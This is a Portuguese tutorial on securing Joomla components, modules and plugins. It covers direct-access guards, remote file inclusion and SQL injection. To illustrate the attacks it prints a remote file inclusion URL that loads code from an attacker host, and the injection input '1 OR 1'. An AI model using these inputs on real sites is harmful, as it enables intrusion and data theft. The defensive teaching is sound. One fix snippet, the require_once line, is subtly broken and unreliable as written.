A Aldeia Numaboa ancestral ainda está disponível para visitação. É a versão mais antiga da Aldeia que eu não quis simplesmente descartar depois de mais de 10 milhões de pageviews. Como diz a Sirley, nossa cozinheira e filósofa de plantão: "Misericórdia, ai que dó!"

Se você tiver curiosidade, o endereço é numaboa.net.br.

Leia mais...

Informática Numaboa - Tutoriais e Programação

Medidas de Segurança na programação Joomla

Sab

5

Jan

2008


20:46

(15 votos, média 4.80 de 5) 


Image Antes de começar a programar componentes, módulos ou mambots/plugins para o Joomla, é bom conhecer algumas precauções que devem ser tomadas para evitar que seu site se torne um alvo fácil para crackers que adoram explorar falhas de segurança.

Evitar acesso direto

O primeiro cuidado que você precisa ter é evitar o acesso direto de componentes, módulos, mambots/plugins, etc. Todo mundo está careca de saber que os componentes do Joomla ficam no diretório /components, os módulos ficam no diretório /modules e os mambots do Joomla 1.0.x ficam no diretório /mambots e no Joomla 1.5 no diretório /plugins. Além disto, os subdiretórios são identificados como com_seuComponente, mod_seuMódulo e assim por diante. Devido ao padrão utilizado, é muito fácil chamar diretamente uma extensão. Basta colocar o seguinte na barra de endereços do navegador:

http://www.seusite.com.br/index.php?option=com_seucomponente

Com esta chamada, se o seu componente estiver programado para executar algum código, podes crer... o código será executado e pode entregar o ouro para os bandidos. Como fazer para evitar o acesso direto? Muito simples. Use o Joomla para fazer o bloqueio.

Quando o Joomla é inicializado, as variáveis _VALID_MOS (nas versões 1.0.x) ou _JEXEC (na versão 1.5) também são inicializadas e só serão reconhecidas se o próprio Joomla fizer a chamada, ou seja, nas chamadas diretas elas são ignoradas. Bingo!!!

Para se proteger das chamadas diretas basta incluir a seguinte linha no início de cada script PHP do Joomla 1.0.x:

defined( '_VALID_MOS' ) or die( 'Acesso bloqueado' );

Se você quiser, pode trocar die( 'Acesso bloqueado' ) por die( 'Vá lamber sabão!' ) smile

Na versão 1.5 use:

defined( '_JEXEC' ) or die( 'Área de acesso restrito' );

Evitar inclusão remota de arquivo

Imagine a seguinte linha de código no seu arquivo:

include( $mosConfig_absolute_path . '/components/com_componente/classe.componente.php' );

Agora imagine o cracker tentando ganhar acesso:

http://www.seusite.com.br/components/com_componente/componente.php?
   mosConfig_absolute_path=http://www.sitebichado.com/caca.gif   

Para mal dos pecados, se o caca.gif não for um arquivo de imagem, mas sim um código malicioso, e se o register_globals do PHP estiver habilitado (register_globals ON), o código caca.gif será incorporado e executado no seu servidor. Alerta vermelho! Pode ser qualquer tranqueira perniciosa!

Para evitar este tipo de surpresa, tome um cuidado especial com include, require, include_once, require_once e fopen. Faça estas chamadas apenas através de variáveis:

define( 'SEUBASEPATH', dirname(__FILE__) ); require_once( SEUBASEPATH, '/arquivo_para_incluir.php' );

Evitar injeções SQL

Atacantes podem modificar certas queries inseguras. Neste caso, seu script é executado de forma anômala e pode alterar dados da sua base de dados ou entregar informações preciosas para o atacante. Tome como exemplo a seguinte query:

$valor = $_GET['valor']; $database->setQuery( "SELECT * FROM #__tabela WHERE id = $valor" );

Aproveitando-se desta falha, um atacante pode fazer uma chamada usando "1 OR 1" e a query ficaria assim:

SELECT * FROM #__tabela WHERE id = 1 OR 1

Como é uma query válida, todos os registros da tabela serão listados! Para evitar este tipo de malandragem, aliás uma das mais manjadas para fazer injeção de SQL, faça o seguinte:

$string = $database->getEscaped( $string ); // para Joomla 1.0.x $db->getEscaped( $string ); // para Joomla 1.5

Apesar destes cuidados, os números inteiros ainda podem ser um problema. Por isto, antes de usar qualquer valor inteiro numa query, dê um trato neles:

$valor = intval( $valor );

Confira também todos os valores fornecidos antes de usá-los. Para o Joomla 1.0.x faça:

$valor = mosGetParam( $_POST, 'valor' ); ou $valor = mosGetParam( $_POST, 'valor', 'default' );

O correspondente no Joomla 1.5 é:

$valor = JRequest::getVar( 'valor', '', 'post', string ); ou $valor = JRequest::getVar( 'valor', 'default', 'post', string );

info A função JRequest::getVar retorna valores sem a barra de escape \ em caracteres especiais, como por exemplo \" ou \' (unescaped). Para poder usá-los em queries use

$db->getEscaped( $string );

Informações adicionais